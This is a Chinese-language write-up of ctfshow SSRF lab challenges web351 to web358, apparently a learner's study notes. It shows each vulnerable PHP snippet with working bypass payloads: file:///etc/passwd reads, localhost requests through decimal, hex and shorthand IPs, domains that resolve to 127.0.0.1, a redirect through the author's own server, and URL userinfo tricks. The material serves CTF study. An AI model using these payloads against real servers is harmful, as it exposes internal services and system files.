(当初听我的老师讲述如果能将ctfshow平台里的题全部做通web就成了,但我感觉web远远不止于此,可能是我水平依旧处于小白阶段,但至少比当初好了一点点,毕竟以现在的角度看来做完web入门是真的入门而已,线上赛或者线下赛考的更综合,而且比赛跟自己做题也肯定不一样,现在线上赛爆零依旧常态,写这些话也算是对自己的一段督促,寒假这几天在家还是挺颓废的,还是要重新调整一下状态)
SSRF = Server-Side Request Forgery(服务器端请求伪造)
我们骗服务器去帮我们访问我们不该能访问的东西
网上关于这个具体的介绍也很多,这里就不赘述了,可自行查阅相关资料,更加具体的还是从题目里去看 这里也找了两个SSRF漏洞(原理、挖掘点、漏洞利用、修复建议) SSRF漏洞原理攻击与防御(超详细总结)
web351:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
// 从 POST 请求中获取参数 url
// 例如:url=http://example.com
$url = $_POST['url'];
// 使用 curl 初始化一个请求句柄,目标地址就是用户传入的 url
// ⚠️ 这里是核心漏洞点:url 完全可控
$ch = curl_init($url);
// 设置 curl 选项:不返回 HTTP 响应头
curl_setopt($ch, CURLOPT_HEADER, 0);
// 设置 curl 选项:将请求结果作为字符串返回
// 如果不加这个,结果会直接输出到页面
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 执行 curl 请求
// 服务器会主动去访问 $url 指定的地址
// 返回的内容会存入 $result
$result = curl_exec($ch);
// 关闭 curl 句柄,释放资源
curl_close($ch);
// 将服务器访问到的内容直接输出到页面
// 也就是说:服务器访问到了什么,你就能看到什么
echo ($result);
?>
读服务器本地文件(最常见、最稳)
构造:file:// 协议
php
file:///etc/passwd
能行的原因如下:
-
cURL 支持 file 协议
-
PHP 没禁止
-
服务器以本地权限读取文件
-
结果被
echo回显

同理可以读flag
php
file:///var/html/flag.php
这里显示的flag要查看源码才能看到:

这里是因为file://是一个只读文件,php不会执行,所以要查看源码才能发现。
然后这里的flag.php文件也说明了非本地禁止访问,于是也可以如下构造:
php
url=http://127.0.0.1/flag.php
url=http://localhost/flag.php

这里直接显示则是因为"通过 Web 服务器访问",所以 PHP 会被执行,而在flag.php中有echo $flag,所以回显就会输出flag的值。
web352:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
这里有两个比较重要的点:
php
if($x['scheme']==='http'||$x['scheme']==='https') //如果 URL 的协议是 http 或 https,才允许继续执行
$x = parse_url($url); //parse_url() 会把一个 URL 拆成数组,比如:
$url = "http://localhost/flag.php";
$x = parse_url($url);
那么结果就是:
$x = [
'scheme' => 'http',
'host' => 'localhost',
'path' => '/flag.php'
];
php
if(!preg_match('/localhost|127.0.0/'))//这里看似是进行了正则匹配,但是我们可以首先回忆一下格式是怎么样的:
preg_match($pattern, $subject) //如果说真正要限制这些的话,那么正确的形式应该如下:
if (!preg_match('/localhost|127\.0\.0/', $url)) {
而在这里就是:if (true) {
curl_exec(...)
}
相当于没有进行过滤,因此依旧可以用127.0.0.1或者localhost进行请求

那如果说这道题正则匹配的形式是正确的话那我们该如何进行绕过呢,这里可以采用的有十六进制,十进制,八进制进行绕过,我这里给出十进制和十六进制转换脚本【好像是之前OBB用到的】
python
#IP转换为长整型
import ipaddress
def ip_to_long(ip_str: str) -> int:
return int(ipaddress.IPv4Address(ip_str))
print(ip_to_long("ip"))
#长整型转换为IP
import ipaddress
def long_to_ip(ip_int: int) -> str:
return str(ipaddress.IPv4Address(ip_int))
print(long_to_ip(ip))
php
<?php
$ip = "127.0.0.1";
$long = ip2long($ip); // 转成整数
$hex = dechex($long); // 转成十六进制
echo "0x" . $hex;
web353:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
这里正则就真正过滤了我们之前讲到的,但是依旧可以用十进制或十六进制进行过滤,然后这里再介绍几种其他方法:
1.合法简写
bash
url=http://127.1/flag.php
这里127.1是127.0.0.1的合法缩写形式,IPv4的地址规则形如A.B.C.D,但是B,C,D是可以省略的,就如下面表格描述一样:

2.IPv4保留网段
bash
127.0.0.0/8
这个的含义是从127.0.0.1 ~ 127.255.255.254都表示 localhost,发往这个网段的包,不会出网卡,直接回到本机,因此在这个范围内都可以写,包括简写形式

3.域名解析绕过
这里没有对DNS进行解析,所以我们可以用指向127.0.0.1的域名来进行绕过【即域名版的localhsot】这里可用的如下:
bash
url=http://sudo.cc/flag.php
url=http://localtest.me/flag.php
url=http://lvh.me/flag.php
4.//0
bash
url=http://0/flag.php // 0 在 linux 系统中会解析成 127.0.0.1

web354:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
这里防了数字1或0,那我们之前的方法基本上都用不了,这里只能用DNS解析进行绕过,可参考我上述内容:

web355:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
这里对host的字符串长度进行限制,就比如说我们构造:url=http://127.0.0.1/flag.php,这里127.0.0.1就是host,长度为9,那么这里就用不了了,但是可以用的是:
php
http://0/flag.php
http://0x0/flag.php
http://0000/flag.php
//(是否可用取决于 libc / cURL 版本,但 0 是最稳的)
再或者简写形式127.1
这里也从侧面说明了"长度校验"和"安全性"毫无必然关系。
web356:
对字符串长度进行了进一步限制不超过3,也是很简单按上面方法来就可以了.
web357:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']); //gethostbyname() 把 域名解析成 IPv4
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP,//验证合法IP
FILTER_FLAG_NO_PRIV_RANGE //禁止私有IP如192.168.x.x
| FILTER_FLAG_NO_RES_RANGE //禁止保留ip如127.0.0.0/8(loopback))) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
这里就要重定向了,得用自己的域名,但是我的现在还在审核,所以就做不了,流程的话就是先在自己的服务器里面写一个文件:
php
<?php
header("Location:http://127.0.0.1/flag.php");
然后后面是
php
url=http://yuming/flag.php
web358:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
这里要求的是域名要以ctf.开头,然后以show进行结尾,这里关键有一个**.*,** 意思就是让攻击者可以把「真正的访问目标」藏在 URL 的任意结构层里。URL的结构语义是这样的:
php
scheme://userinfo@host:port/path?query#fragment
而.*会把@ : / ? #这些语义分隔符全部吃掉

因此在这里我们可以根据上述内容构造的payload为:
php
url=http://ctf.@127.0.0.1/flag.php#show
url=http://127.0.0.1/flag.php?show 这里show作为get传参返回null,不影响输出flag.php
web359~360:
这两个里面的内容其实有点多,所以就单独拎出来讲了,现在还没写完,后面写完了也会发链接的。